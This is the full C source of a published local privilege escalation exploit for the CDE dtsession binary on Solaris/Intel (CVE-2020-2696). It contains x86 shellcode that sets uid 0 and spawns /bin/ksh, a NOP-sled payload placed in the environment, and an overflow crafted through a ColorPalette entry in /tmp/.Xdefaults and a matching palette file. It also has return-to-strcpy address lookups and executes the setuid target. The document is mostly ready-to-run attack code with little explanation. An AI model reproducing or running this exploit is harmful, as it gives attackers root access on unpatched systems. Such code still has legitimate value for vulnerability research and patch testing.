# Exploit: SunOS 5.10 Generic_147148-26 - Local Privilege Escalation
# Date: 2020-01-15
# Author: Marco Ivaldi
# Vendor: www.oracle.com
# Software Link: https:
# CVE: CVE-2020-2696
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#include <sys/types.h>
#define INFO1 "raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel"
#define INFO2 "Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtsession"
#define BUFSIZE 256
#define PADDING 3
#define PAYSIZE 1024
#define OFFSET env_len / 2
char sc[] =
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";
char *env[256];
int env_pos = 0, env_len = 0;
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
int main(int argc, char **argv)
{
char buf[BUFSIZE], payload[PAYSIZE];
char platform[256], release[256], display[256];
int i, payaddr;
char *arg[2] = {"foo", NULL};
int sb = ((int)argv[0] | 0xfff);
int ret = search_ldso("strcpy");
int rwx_mem = search_rwx_mem();
FILE *fp;
char palette_file[BUFSIZE + 18];
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
if (argc != 2) {
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
memset(payload, '\x90', PAYSIZE);
payload[PAYSIZE - 1] = 0x0;
memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc));
add_env(payload);
add_env(display);
add_env("HOME=/tmp");
add_env(NULL);
payaddr = sb - OFFSET;
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
for (i = PADDING; i < BUFSIZE - 16; i += 4) {
set_val(buf, i, ret);
set_val(buf, i += 4, rwx_mem);
set_val(buf, i += 4, rwx_mem);
set_val(buf, i += 4, payaddr);
}
fp = fopen("/tmp/.Xdefaults", "w");
if (!fp) {
perror("error creating .Xdefaults file");
exit(1);
}
fprintf(fp, "*0*ColorPalette: %s\n", buf);
fclose(fp);
mkdir("/tmp/.dt", 0755);
mkdir("/tmp/.dt/palettes", 0755);
sprintf(palette_file, "/tmp/.dt/palettes/%s", buf);
fp = fopen(palette_file, "w");
if (!fp) {
perror("error creating palette file");
exit(1);
}
fprintf(fp, "Black\n");
fclose(fp);
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr);
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
execve(VULN, arg, env);
perror("execve");
exit(0);
}
int add_env(char *string)
{
int i;
if (!string) {
env[env_pos] = NULL;
return env_len;
}
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return env_len;
}
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}
dlclose(handle);
check_zero(addr - 4, sym);
return addr;
}
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
return addr_old;
}
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0x000000ff);
buf[pos + 1] = (val & 0x0000ff00) >> 8;
buf[pos + 2] = (val & 0x00ff0000) >> 16;
buf[pos + 3] = (val & 0xff000000) >> 24;
}
Recommended Comments